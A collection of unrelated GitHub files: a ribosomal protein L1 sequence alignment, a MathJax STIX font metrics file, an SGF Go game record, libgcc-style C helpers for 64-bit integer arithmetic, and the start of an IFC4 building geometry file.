>rl1_metja ---VKEARE------LAKPRNFTQSFEFIATLKEIDMRKPENRIKTEVVAKAHDFFIAQA DLMPLIGRYMGVILGPRGKMPKPVPANANIKPLVERL----------------------- ---------------------------KKTVVINTRDKPY-FQVLVGNEKMTDEQIVDNI EAVLNVVAKKYEKG--------------------L-LPHGRGKEAKIAVIGTGDLAKQAE ELGLTVIRKEEIEE-LGKNKR--------------KLRKIYHI----------KDAYVKL TMGPAVKVK >rl1_sulso -------------------------------------------------AIQNEWFLINQ ESMALAGRILGPALGPRGKFPTPLPNTADISEYINRFDKESLIEALKLALSTEYNVKRNF TQSVEIILTFKGIDMKKGDLKLREIVPKRSVIVKTKDQPQ-VQVFIGTEDMKPEDLAENA IAVLNAIENK-AKV--------------------E-LPKQPSKAKRVLVVPSSEQLEYAK KASPKVVITREELQKLQGQKR--------------PVKKLTNL----------RNIYVKT TMGKAVKVK
{ "pile_set_name": "Github" }
/* * /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js * * Copyright (c) 2009-2018 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{592:[460,10,444,8,413],593:[460,10,500,27,491],594:[460,10,500,27,491],595:[683,10,500,69,468],596:[459,11,444,10,397],597:[460,160,444,25,417],598:[683,233,553,27,599],599:[683,10,587,27,602],600:[460,10,444,20,419],601:[460,10,444,14,413],602:[460,13,657,36,651],603:[475,14,438,20,389],604:[475,14,438,20,389],605:[475,14,623,20,603],606:[475,14,479,20,430],607:[460,218,315,-49,296],608:[683,212,594,32,634],609:[482,212,537,32,455],610:[450,11,570,30,539],611:[450,234,500,19,480],612:[450,10,500,13,486],613:[450,233,500,13,491],614:[683,0,500,9,487],615:[683,233,481,9,427],616:[683,0,278,16,253],617:[454,10,333,17,311],618:[450,0,258,21,231],619:[683,0,350,10,340],620:[683,0,375,12,362],621:[683,233,302,10,352],622:[683,233,549,19,538],623:[450,10,778,11,770],624:[450,233,803,11,785],625:[460,233,778,16,706],626:[460,233,529,-70,514],627:[460,233,533,16,603],628:[450,8,602,29,561],629:[460,10,500,29,470],630:[450,6,720,23,697],631:[475,4,667,37,629],632:[683,233,667,40,626],633:[450,10,370,30,360],634:[683,10,370,30,364],635:[450,233,418,30,468],636:[460,233,333,5,335],637:[460,233,370,7,339],638:[470,0,315,10,337],639:[470,0,350,5,332],640:[464,0,475,21,470],641:[464,0,475,21,470],642:[458,218,389,50,348],643:[683,233,322,-70,372],644:[683,218,304,-70,372],645:[470,233,400,15,457],646:[683,243,437,-23,422],647:[460,129,278,16,282],648:[579,233,270,13,283],649:[450,10,500,9,480],650:[450,10,537,46,490],651:[460,10,500,32,476],652:[464,0,500,-4,454],653:[464,0,722,21,694],654:[668,0,444,-2,459],655:[464,0,587,23,564],656:[450,218,528,27,569],657:[450,150,507,27,487],658:[450,233,413,12,392],659:[450,305,431,12,410],660:[683,0,450,47,400],661:[683,0,450,48,401],662:[662,14,450,47,400],663:[460,230,450,80,410],664:[679,17,723,33,690],665:[464,0,460,15,444],666:[475,14,479,20,430],667:[523,11,600,29,583],668:[464,0,572,21,560],669:[683,233,387,-23,412],670:[450,233,519,1,499],671:[464,0,470,21,441],672:[582,217,600,24,590],673:[683,0,450,48,401],674:[683,0,450,48,401],675:[683,10,802,27,775],676:[683,233,743,27,722],677:[683,160,864,27,844],678:[579,10,536,13,495],679:[683,233,483,13,540],680:[579,10,650,13,641],686:[469,232,619,15,612],687:[469,233,679,15,729]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/IPAExtensions.js");
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2017-07-03] PB[骊龙]BR[9段] PW[NIPOHC]WR[9段] KM[0]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60] ;B[pd];W[dd];B[qp];W[dq];B[oq];W[qf];B[nc];W[qo];B[po];W[qn];B[pn] ;W[ql];B[qm];W[rm];B[pm];W[pi];B[co];W[iq];B[ep];W[eq];B[fp];W[fq] ;B[gp];W[hq];B[gq];W[gr];B[fr];W[hr];B[cq];W[dp];B[do];W[cp];B[bp] ;W[cr];B[bq];W[er];B[cj];W[fc];B[pl];W[qk];B[rl];W[rn];B[rk];W[qj] ;B[rp];W[rj];B[qe];W[qc];B[pf];W[ob];B[nb];W[oc];B[od];W[rd];B[re] ;W[rb];B[oa];W[pb];B[cf];W[dk];B[dj];W[ek];B[ej];W[en];B[eo];W[bn] ;B[bo];W[fk];B[bl];W[ic];B[jc];W[jd];B[kd];W[kc];B[jb];W[ke];B[ld] ;W[id];B[cd];W[cc];B[bc];W[ce];B[bd];W[df];B[dc];W[ec];B[be];W[de] ;B[fj];W[hk];B[gk];W[gl];B[gj];W[hl];B[lq];W[db];B[cg];W[kb];B[lb] ;W[ib];B[dm];W[em];B[lc];W[ja];B[ro];W[sk];B[sn];W[sl];B[qd];W[sd] ;B[sb];W[pa];B[ra];W[rc];B[pc];W[na];B[ma];W[rf];B[se];W[qa];B[oa] ;W[sa];B[pg];W[qh];B[ra];W[na];B[qg];W[rg];B[oa];W[sa];B[rh];W[ri] ;B[ra];W[na];B[ph];W[sh];B[lg];W[lp];B[oa];W[sa];B[kq];W[mp];B[mq] ;W[np];B[nq];W[oh];B[ng];W[nh];B[ln];W[kp];B[ra];W[na];B[mh];W[op] ;B[pp];W[io];B[oa];W[sa];B[mj];W[nj];B[jf];W[je];B[nk];W[bb];B[br] ;W[jr];B[ra];W[na];B[if];W[ms];B[oa];W[sa];B[ns];W[dg];B[ra];W[na] ;B[ds];W[es];B[oa];W[sa];B[oj];W[ni];B[mi];W[oi];B[jm];W[dn];B[cn] ;W[cm];B[cl];W[dl];B[hn];W[hj];B[ho];W[jo];B[hi];W[im];B[in];W[ii] ;B[jk];W[hh];B[gi];W[jl];B[kk];W[kl];B[jn];W[jj];B[ih];W[jh];B[ig] ;W[kj];B[lk];W[kh];B[ra];W[na];B[jq];W[jp];B[oa];W[sa];B[kr];W[ks] ;B[ra];W[na];B[ls];W[lr];B[oa];W[sa];B[cb];W[ca];B[ra];W[na];B[hp] ;W[ip];B[oa];W[sa];B[bm];W[gm];B[ra];W[na];B[is];W[js];B[oa];W[sa] ;B[fn];W[fm];B[ra];W[na];B[dh];W[eh];B[oa];W[sa];B[ik];W[ij];B[ra] ;W[na];B[il];W[ch];B[bh];W[gf];B[oa];W[sa];B[kg];W[ok];B[ra];W[na] ;B[he];W[di];B[ci];W[bs];B[ge];W[ls];B[mr];W[ir];B[oa];W[sa];B[gc] ;W[gb];B[ra];W[na];B[hc];W[og];B[of];W[nf];B[ne];W[mg];B[mf];W[ng] ;B[oa];W[sa];B[hb];W[ha];B[ra];W[na];B[fb];W[ga];B[oa];W[sa];B[fa] ;W[ia];B[ra];W[na];B[pk];W[pj];B[oa];W[sa];B[cs];W[dr];B[ff];W[gh] ;B[ra];W[na];B[lf];W[os];B[nl];W[nr];B[or];W[ns])
{ "pile_set_name": "Github" }
/* * This file is part of GNU CC. * * SPDX-License-Identifier: GPL-2.0+ */ typedef unsigned int UWtype; typedef unsigned int UHWtype; typedef unsigned long long UDWtype; #define W_TYPE_SIZE 32 typedef unsigned char UQItype; typedef long SItype; typedef unsigned long USItype; typedef long long DItype; typedef unsigned long long DSItype; #include "longlong.h" typedef int word_type; typedef long Wtype; typedef long long DWtype; struct DWstruct { Wtype low, high;}; typedef union { struct DWstruct s; DWtype ll; } DWunion; #define BITS_PER_UNIT 8 UDWtype __udivmoddi4 (UDWtype n, UDWtype d, UDWtype *rp); const UQItype __clz_tab[256] = { 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 }; DWtype __ashldi3 (DWtype u, word_type b) { if (b == 0) return u; const DWunion uu = {.ll = u}; const word_type bm = (sizeof (Wtype) * BITS_PER_UNIT) - b; DWunion w; if (bm <= 0) { w.s.low = 0; w.s.high = (UWtype) uu.s.low << -bm; } else { const UWtype carries = (UWtype) uu.s.low >> bm; w.s.low = (UWtype) uu.s.low << b; w.s.high = ((UWtype) uu.s.high << b) | carries; } return w.ll; } DWtype __ashrdi3 (DWtype u, word_type b) { if (b == 0) return u; const DWunion uu = {.ll = u}; const word_type bm = (sizeof (Wtype) * BITS_PER_UNIT) - b; DWunion w; if (bm <= 0) { /* w.s.high = 1..1 or 0..0 */ w.s.high = uu.s.high >> (sizeof (Wtype) * BITS_PER_UNIT - 1); w.s.low = uu.s.high >> -bm; } else { const UWtype carries = (UWtype) uu.s.high << bm; w.s.high = uu.s.high >> b; w.s.low = ((UWtype) uu.s.low >> b) | carries; } return w.ll; } DWtype __lshrdi3 (DWtype u, word_type b) { if (b == 0) return u; const DWunion uu = {.ll = u}; const word_type bm = (sizeof (Wtype) * BITS_PER_UNIT) - b; DWunion w; if (bm <= 0) { w.s.high = 0; w.s.low = (UWtype) uu.s.high >> -bm; } else { const UWtype carries = (UWtype) uu.s.high << bm; w.s.high = (UWtype) uu.s.high >> b; w.s.low = ((UWtype) uu.s.low >> b) | carries; } return w.ll; } word_type __cmpdi2 (DWtype a, DWtype b) { const DWunion au = {.ll = a}; const DWunion bu = {.ll = b}; if (au.s.high < bu.s.high) return 0; else if (au.s.high > bu.s.high) return 2; if ((UWtype) au.s.low < (UWtype) bu.s.low) return 0; else if ((UWtype) au.s.low > (UWtype) bu.s.low) return 2; return 1; } UDWtype __udivmoddi4 (UDWtype n, UDWtype d, UDWtype *rp) { const DWunion nn = {.ll = n}; const DWunion dd = {.ll = d}; DWunion rr; UWtype d0, d1, n0, n1, n2; UWtype q0, q1; UWtype b, bm; d0 = dd.s.low; d1 = dd.s.high; n0 = nn.s.low; n1 = nn.s.high; #if !UDIV_NEEDS_NORMALIZATION if (d1 == 0) { if (d0 > n1) { /* 0q = nn / 0D */ udiv_qrnnd (q0, n0, n1, n0, d0); q1 = 0; /* Remainder in n0. */ } else { /* qq = NN / 0d */ if (d0 == 0) d0 = 1 / d0; /* Divide intentionally by zero. */ udiv_qrnnd (q1, n1, 0, n1, d0); udiv_qrnnd (q0, n0, n1, n0, d0); /* Remainder in n0. */ } if (rp != 0) { rr.s.low = n0; rr.s.high = 0; *rp = rr.ll; } } #else /* UDIV_NEEDS_NORMALIZATION */ if (d1 == 0) { if (d0 > n1) { /* 0q = nn / 0D */ count_leading_zeros (bm, d0); if (bm != 0) { /* Normalize, i.e. make the most significant bit of the denominator set. */ d0 = d0 << bm; n1 = (n1 << bm) | (n0 >> (W_TYPE_SIZE - bm)); n0 = n0 << bm; } udiv_qrnnd (q0, n0, n1, n0, d0); q1 = 0; /* Remainder in n0 >> bm. */ } else { /* qq = NN / 0d */ if (d0 == 0) d0 = 1 / d0; /* Divide intentionally by zero. */ count_leading_zeros (bm, d0); if (bm == 0) { /* From (n1 >= d0) /\ (the most significant bit of d0 is set), conclude (the most significant bit of n1 is set) /\ (the leading quotient digit q1 = 1). This special case is necessary, not an optimization. (Shifts counts of W_TYPE_SIZE are undefined.) */ n1 -= d0; q1 = 1; } else { /* Normalize. */ b = W_TYPE_SIZE - bm; d0 = d0 << bm; n2 = n1 >> b; n1 = (n1 << bm) | (n0 >> b); n0 = n0 << bm; udiv_qrnnd (q1, n1, n2, n1, d0); } /* n1 != d0... */ udiv_qrnnd (q0, n0, n1, n0, d0); /* Remainder in n0 >> bm. */ } if (rp != 0) { rr.s.low = n0 >> bm; rr.s.high = 0; *rp = rr.ll; } } #endif /* UDIV_NEEDS_NORMALIZATION */ else { if (d1 > n1) { /* 00 = nn / DD */ q0 = 0; q1 = 0; /* Remainder in n1n0. */ if (rp != 0) { rr.s.low = n0; rr.s.high = n1; *rp = rr.ll; } } else { /* 0q = NN / dd */ count_leading_zeros (bm, d1); if (bm == 0) { /* From (n1 >= d1) /\ (the most significant bit of d1 is set), conclude (the most significant bit of n1 is set) /\ (the quotient digit q0 = 0 or 1). This special case is necessary, not an optimization. */ /* The condition on the next line takes advantage of that n1 >= d1 (true due to program flow). */ if (n1 > d1 || n0 >= d0) { q0 = 1; sub_ddmmss (n1, n0, n1, n0, d1, d0); } else q0 = 0; q1 = 0; if (rp != 0) { rr.s.low = n0; rr.s.high = n1; *rp = rr.ll; } } else { UWtype m1, m0; /* Normalize. */ b = W_TYPE_SIZE - bm; d1 = (d1 << bm) | (d0 >> b); d0 = d0 << bm; n2 = n1 >> b; n1 = (n1 << bm) | (n0 >> b); n0 = n0 << bm; udiv_qrnnd (q0, n1, n2, n1, d1); umul_ppmm (m1, m0, q0, d0); if (m1 > n1 || (m1 == n1 && m0 > n0)) { q0--; sub_ddmmss (m1, m0, m1, m0, d1, d0); } q1 = 0; /* Remainder in (n1n0 - m1m0) >> bm. */ if (rp != 0) { sub_ddmmss (n1, n0, n1, n0, m1, m0); rr.s.low = (n1 << b) | (n0 >> bm); rr.s.high = n1 >> bm; *rp = rr.ll; } } } } const DWunion ww = {{.low = q0, .high = q1}}; return ww.ll; } DWtype __divdi3 (DWtype u, DWtype v) { word_type c = 0; DWunion uu = {.ll = u}; DWunion vv = {.ll = v}; DWtype w; if (uu.s.high < 0) c = ~c, uu.ll = -uu.ll; if (vv.s.high < 0) c = ~c, vv.ll = -vv.ll; w = __udivmoddi4 (uu.ll, vv.ll, (UDWtype *) 0); if (c) w = -w; return w; } DWtype __negdi2 (DWtype u) { const DWunion uu = {.ll = u}; const DWunion w = { {.low = -uu.s.low, .high = -uu.s.high - ((UWtype) -uu.s.low > 0) } }; return w.ll; } DWtype __muldi3 (DWtype u, DWtype v) { const DWunion uu = {.ll = u}; const DWunion vv = {.ll = v}; DWunion w = {.ll = __umulsidi3 (uu.s.low, vv.s.low)}; w.s.high += ((UWtype) uu.s.low * (UWtype) vv.s.high + (UWtype) uu.s.high * (UWtype) vv.s.low); return w.ll; } DWtype __moddi3 (DWtype u, DWtype v) { word_type c = 0; DWunion uu = {.ll = u}; DWunion vv = {.ll = v}; DWtype w; if (uu.s.high < 0) c = ~c, uu.ll = -uu.ll; if (vv.s.high < 0) vv.ll = -vv.ll; (void) __udivmoddi4 (uu.ll, vv.ll, (UDWtype*)&w); if (c) w = -w; return w; } word_type __ucmpdi2 (DWtype a, DWtype b) { const DWunion au = {.ll = a}; const DWunion bu = {.ll = b}; if ((UWtype) au.s.high < (UWtype) bu.s.high) return 0; else if ((UWtype) au.s.high > (UWtype) bu.s.high) return 2; if ((UWtype) au.s.low < (UWtype) bu.s.low) return 0; else if ((UWtype) au.s.low > (UWtype) bu.s.low) return 2; return 1; } UDWtype __udivdi3 (UDWtype n, UDWtype d) { return __udivmoddi4 (n, d, (UDWtype *) 0); } UDWtype __umoddi3 (UDWtype u, UDWtype v) { UDWtype w; (void) __udivmoddi4 (u, v, &w); return w; } static USItype udivmodsi4(USItype num, USItype den, word_type modwanted) { USItype bit = 1; USItype res = 0; while (den < num && bit && !(den & (1L<<31))) { den <<=1; bit <<=1; } while (bit) { if (num >= den) { num -= den; res |= bit; } bit >>=1; den >>=1; } if (modwanted) return num; return res; } SItype __divsi3 (SItype a, SItype b) { word_type neg = 0; SItype res; if (a < 0) { a = -a; neg = !neg; } if (b < 0) { b = -b; neg = !neg; } res = udivmodsi4 (a, b, 0); if (neg) res = -res; return res; } SItype __udivsi3 (SItype a, SItype b) { return udivmodsi4 (a, b, 0); } SItype __modsi3 (SItype a, SItype b) { word_type neg = 0; SItype res; if (a < 0) { a = -a; neg = 1; } if (b < 0) b = -b; res = udivmodsi4 (a, b, 1); if (neg) res = -res; return res; } SItype __mulsi3 (SItype a, SItype b) { SItype res = 0; USItype cnt = a; while (cnt) { if (cnt & 1) { res += b; } b <<= 1; cnt >>= 1; } return res; } SItype __umodsi3 (SItype a, SItype b) { return udivmodsi4 (a, b, 1); } int __gcc_bcmp (const unsigned char *s1, const unsigned char *s2, unsigned long size) { while (size > 0) { const unsigned char c1 = *s1++, c2 = *s2++; if (c1 != c2) return c1 - c2; size--; } return 0; }
{ "pile_set_name": "Github" }
ISO-10303-21; HEADER; FILE_DESCRIPTION(('ViewDefinition [DesignTransferView_V1.0]'),'2;1'); FILE_NAME('253-KTB','2018-05-23T16:27:29',(''),(''),'The EXPRESS Data Manager Version 5.02.0100.07 : 28 Aug 2013','20180423_1000(x64) - Exporter 18.3.1.0 - Alternate UI 18.3.1.0',$); FILE_SCHEMA(('IFC4')); ENDSEC; DATA; #1=IFCADVANCEDBREP(#2); #2=IFCCLOSEDSHELL((#3,#84,#137,#178,#197,#220,#247,#264,#301,#308,#323,#340,#348,#374,#386,#412,#425,#450,#463,#488,#501,#518)); #3=IFCADVANCEDFACE((#4),#70,.T.); #4=IFCFACEOUTERBOUND(#5,.T.); #5=IFCEDGELOOP((#6,#16,#54,#62)); #6=IFCORIENTEDEDGE(*,*,#7,.T.); #7=IFCEDGECURVE(#8,#10,#12,.T.); #8=IFCVERTEXPOINT(#9); #9=IFCCARTESIANPOINT((0.316595272235915,0.182482211466965,0.542862042398335)); #10=IFCVERTEXPOINT(#11); #11=IFCCARTESIANPOINT((0.316595272235915,0.07,0.529050963453976)); #12=IFCTRIMMEDCURVE(#13,(#9),(#11),.T.,.CARTESIAN.); #13=IFCLINE(#9,#14); #14=IFCVECTOR(#15,0.3048); #15=IFCDIRECTION((0.,-0.992546151641322,-0.12186934340515)); #16=IFCORIENTEDEDGE(*,*,#17,.T.); #17=IFCEDGECURVE(#10,#18,#20,.T.); #18=IFCVERTEXPOINT(#19); #19=IFCCARTESIANPOINT((0.286595272235915,0.0700000000000001,0.529050963453976)); #20=IFCBSPLINECURVEWITHKNOTS(3,(#11,#21,#22,#23,#24,#24,#25,#26,#27,#28,#29,#29,#30,#31,#32,#33,#34,#35,#36,#37,#38,#39,#40,#41,#42,#43,#44,#44,#45,#45,#46,#47,#48,#49,#50,#50,#51,#52,#53,#19,#19),.UNSPECIFIED.,.F.,.U.,(4,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4),(-1.,-0.958333333333333,-0.916666666666667,-0.895833333333333,-0.890625,-0.885416666666667,-0.875,-0.833333333333333,-0.791666666666667,-0.78125,-0.776041666666667,-0.770833333333333,-0.75,-0.708333333333333,-0.666666666666667,-0.638888888888889,-0.611111111111111,-0.555555555555556,-0.444444444444444,-0.388888888888889,-0.361111111111111,-0.333333333333333,-0.305555555555556,-0.277777777777778,-0.25,-0.236111111111111,-0.222222222222222,-0.215277777777778,-0.208333333333333,-0.194444444444444,-0.166666666666667,-0.138888888888889,-0.125,-0.111111111111111,-0.0972222222222222,-0.0833333333333333,-0.0555555555555556,-0.0277777777777778,0.),.UNSPECIFIED.); #21=IFCCARTESIANPOINT((0.316521852217236,0.0700550650140097,0.528457324008753)); #22=IFCCARTESIANPOINT((0.31630452539325,0.0702170737714835,0.527332402035287)); #23=IFCCARTESIANPOINT((0.315850456251407,0.0705406620680996,0.526082122743539)); #24=IFCCARTESIANPOINT((0.315461454072732,0.0708029150539896,0.525345457335896)); #25=IFCCARTESIANPOINT((0.315126127734685,0.0710220840621777,0.524807064201859)); #26=IFCCARTESIANPOINT((0.314715129687274,0.0712848096494789,0.524240746134006)); #27=IFCCARTESIANPOINT((0.313883417840187,0.0717868843409975,0.523412678290888)); #28=IFCCARTESIANPOINT((0.312907327003451,0.0723014160859226,0.52271059990982)); #29=IFCCARTESIANPOINT((0.312303931109336,0.0725909239326712,0.522317665204249)); #30=IFCCARTESIANPOINT((0.311754547623664,0.0728444082463348,0.521974216670089)); #31=IFCCARTESIANPOINT((0.311010250963143,0.0731691597113861,0.521561314265526)); #32=IFCCARTESIANPOINT((0.309782173602102,0.0736396603026224,0.521024253863646)); #33=IFCCARTESIANPOINT((0.308411282446763,0.0740657082750721,0.520559613050389)); #34=IFCCARTESIANPOINT((0.30718199609552,0.0743760668705563,0.520223079768365)); #35=IFCCARTESIANPOINT((0.305727968034604,0.0746756941974801,0.519914966200879)); #36=IFCCARTESIANPOINT((0.303131497776574,0.0750325530290298,0.519556784431923)); #37=IFCCARTESIANPOINT((0.300074633385071,0.0750333390867344,0.519556388047806)); #38=IFCCARTESIANPOINT((0.29748162719965,0.0746787930130818,0.519911384578543)); #39=IFCCARTESIANPOINT((0.296029954279306,0.0743809583392937,0.520217797900716)); #40=IFCCARTESIANPOINT((0.294975984521503,0.0741158145949859,0.520504936097993)); #41=IFCCARTESIANPOINT((0.293944402668928,0.0738086051963822,0.52084149269837)); #42=IFCCARTESIANPOINT((0.292933073841707,0.0734593232777235,0.521227102148114)); #43=IFCCARTESIANPOINT((0.29212618599739,0.0731416911460694,0.521599620998239)); #44=IFCCARTESIANPOINT((0.291508311499593,0.0728765238032858,0.521932446778546)); #45=IFCCARTESIANPOINT((0.290845483968084,0.0725712595180102,0.522344762139806)); #46=IFCCARTESIANPOINT((0.290040226077197,0.0721736026853909,0.522886359066127)); #47=IFCCARTESIANPOINT((0.289330630612744,0.0717915485384036,0.523424784272433)); #48=IFCCARTESIANPOINT((0.288692866788521,0.0714162820743841,0.524025589091308)); #49=IFCCARTESIANPOINT((0.28824770759088,0.0711397338493399,0.52454911700728)); #50=IFCCARTESIANPOINT((0.287954322173673,0.0709513725045986,0.524965230695859)); #51=IFCCARTESIANPOINT((0.28738450569756,0.07056967404484,0.526015419966478)); #52=IFCCARTESIANPOINT((0.287060623833856,0.0703420934966555,0.526831590747281)); #53=IFCCARTESIANPOINT((0.286771465452221,0.0701316613407143,0.527893234261659)); #54=IFCORIENTEDEDGE(*,*,#55,.T.); #55=IFCEDGECURVE(#18,#56,#58,.T.); #56=IFCVERTEXPOINT(#57); #57=IFCCARTESIANPOINT((0.286595272235915,0.182482211466965,0.542862042398335)); #58=IFCTRIMMEDCURVE(#59,(#19),(#57),.T.,.CARTESIAN.); #59=IFCLINE(#19,#60); #60=IFCVECTOR(#61,0.3048); #61=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #62=IFCORIENTEDEDGE(*,*,#63,.T.); #63=IFCEDGECURVE(#56,#8,#64,.T.); #64=IFCTRIMMEDCURVE(#65,(#57),(#9),.T.,.CARTESIAN.); #65=IFCELLIPSE(#66,0.015,0.01); #66=IFCAXIS2PLACEMENT3D(#67,#68,#69); #67=IFCCARTESIANPOINT((0.301595272235915,0.182482211466965,0.542862042398335)); #68=IFCDIRECTION((0.,-0.992546151641322,-0.12186934340515)); #69=IFCDIRECTION((-1.,0.,0.)); #70=IFCSURFACEOFLINEAREXTRUSION(#71,#80,#83,0.437917092360513); #71=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Ruled Face Profile Curve',#72); #72=IFCTRIMMEDCURVE(#73,(#78),(#79),.T.,.CARTESIAN.); #73=IFCTRIMMEDCURVE(#74,(#78),(#79),.T.,.CARTESIAN.); #74=IFCELLIPSE(#75,0.015,0.01); #75=IFCAXIS2PLACEMENT3D(#76,#77,#69); #76=IFCCARTESIANPOINT((0.301595272235915,0.05,0.526595272235917)); #77=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #78=IFCCARTESIANPOINT((0.316595272235915,0.05,0.526595272235917)); #79=IFCCARTESIANPOINT((0.286595272235915,0.05,0.526595272235917)); #80=IFCAXIS2PLACEMENT3D(#78,#81,#82); #81=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #82=IFCDIRECTION((1.,0.,0.)); #83=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #84=IFCADVANCEDFACE((#85),#127,.T.); #85=IFCFACEOUTERBOUND(#86,.T.); #86=IFCEDGELOOP((#87,#88,#120,#121)); #87=IFCORIENTEDEDGE(*,*,#55,.F.); #88=IFCORIENTEDEDGE(*,*,#89,.T.); #89=IFCEDGECURVE(#18,#10,#90,.T.); #90=IFCBSPLINECURVEWITHKNOTS(3,(#19,#91,#92,#93,#94,#94,#95,#96,#97,#98,#99,#100,#101,#102,#103,#104,#105,#106,#107,#108,#109,#110,#111,#112,#113,#114,#115,#115,#116,#117,#118,#119,#11),.UNSPECIFIED.,.F.,.U.,(4,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4),(-1.,-0.958333333333333,-0.916666666666667,-0.895833333333333,-0.890625,-0.885416666666667,-0.875,-0.833333333333333,-0.791666666666667,-0.78125,-0.770833333333333,-0.75,-0.708333333333333,-0.666666666666667,-0.611111111111111,-0.555555555555556,-0.444444444444444,-0.333333333333333,-0.277777777777778,-0.25,-0.222222222222222,-0.208333333333333,-0.194444444444444,-0.166666666666667,-0.138888888888889,-0.125,-0.111111111111111,-0.0972222222222222,-0.0833333333333333,-0.0555555555555556,0.),.UNSPECIFIED.); #91=IFCCARTESIANPOINT((0.286668028596971,0.0700545672707921,0.529655488695811)); #92=IFCCARTESIANPOINT((0.286881586403405,0.070213753113007,0.530811233502241)); #93=IFCCARTESIANPOINT((0.287324526739002,0.0705296917956367,0.532122656879478)); #94=IFCCARTESIANPOINT((0.287702876901025,0.0707853768445622,0.532910109382301)); #95=IFCCARTESIANPOINT((0.288028666159123,0.0709990144236782,0.533491682076724)); #96=IFCCARTESIANPOINT((0.288426394474716,0.0712542518509946,0.534110996684791)); #97=IFCCARTESIANPOINT((0.289226112305424,0.0717399218954657,0.53504570669902)); #98=IFCCARTESIANPOINT((0.290170081673014,0.0722433564951803,0.535865338119445)); #99=IFCCARTESIANPOINT((0.290813073492316,0.0725562854511111,0.536368464264079)); #100=IFCCARTESIANPOINT((0.291242761815077,0.0727579789270004,0.536692573303316)); #101=IFCCARTESIANPOINT((0.292034266152329,0.0731091520651208,0.537226568887803)); #102=IFCCARTESIANPOINT((0.293254426636402,0.073585635568659,0.537897421493528)); #103=IFCCARTESIANPOINT((0.294968455285206,0.0741313166857469,0.53863153468523)); #104=IFCCARTESIANPOINT((0.296972640126648,0.0746041201344578,0.539244537080922)); #105=IFCCARTESIANPOINT((0.300022076417073,0.0750353555786552,0.539784971413685)); #106=IFCCARTESIANPOINT((0.303978757144088,0.0750347344612737,0.539784774867092)); #107=IFCCARTESIANPOINT((0.307742052346622,0.0743094141515763,0.538873671856753)); #108=IFCCARTESIANPOINT((0.310120657650939,0.0735195222745718,0.537808778553985)); #109=IFCCARTESIANPOINT((0.311399026093511,0.0730048626449077,0.537072036964469)); #110=IFCCARTESIANPOINT((0.312138394058348,0.0726719340125181,0.536556734425043)); #111=IFCCARTESIANPOINT((0.312705469646576,0.0723972841815405,0.536112775361865)); #112=IFCCARTESIANPOINT((0.313270434430873,0.0721103177161341,0.535649201215258)); #113=IFCCARTESIANPOINT((0.313948650561523,0.0717407733500829,0.535030203860004)); #114=IFCCARTESIANPOINT((0.314556841664557,0.0713802715484245,0.534354333596486)); #115=IFCCARTESIANPOINT((0.314982718474224,0.0711144162315146,0.533776926379395)); #116=IFCCARTESIANPOINT((0.315515298527032,0.0707668039669911,0.532853420070985)); #117=IFCCARTESIANPOINT((0.315817695069162,0.070561543582909,0.532201567861037)); #118=IFCCARTESIANPOINT((0.316259759717883,0.0702506304955074,0.530997855284527)); #119=IFCCARTESIANPOINT((0.316497088014751,0.0700736381658729,0.529858447687759)); #120=IFCORIENTEDEDGE(*,*,#7,.F.); #121=IFCORIENTEDEDGE(*,*,#122,.T.); #122=IFCEDGECURVE(#8,#56,#123,.T.); #123=IFCTRIMMEDCURVE(#124,(#9),(#57),.T.,.CARTESIAN.); #124=IFCELLIPSE(#125,0.015,0.01); #125=IFCAXIS2PLACEMENT3D(#67,#126,#69); #126=IFCDIRECTION((0.,-0.992546151641322,-0.12186934340515)); #127=IFCSURFACEOFLINEAREXTRUSION(#128,#134,#136,0.437917092360514); #128=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Ruled Face Profile Curve',#129); #129=IFCTRIMMEDCURVE(#130,(#79),(#78),.T.,.CARTESIAN.); #130=IFCTRIMMEDCURVE(#131,(#79),(#78),.T.,.CARTESIAN.); #131=IFCELLIPSE(#132,0.015,0.01); #132=IFCAXIS2PLACEMENT3D(#76,#133,#69); #133=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #134=IFCAXIS2PLACEMENT3D(#79,#135,#82); #135=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); #136=IFCDIRECTION((0.,0.992546151641322,0.12186934340515)); 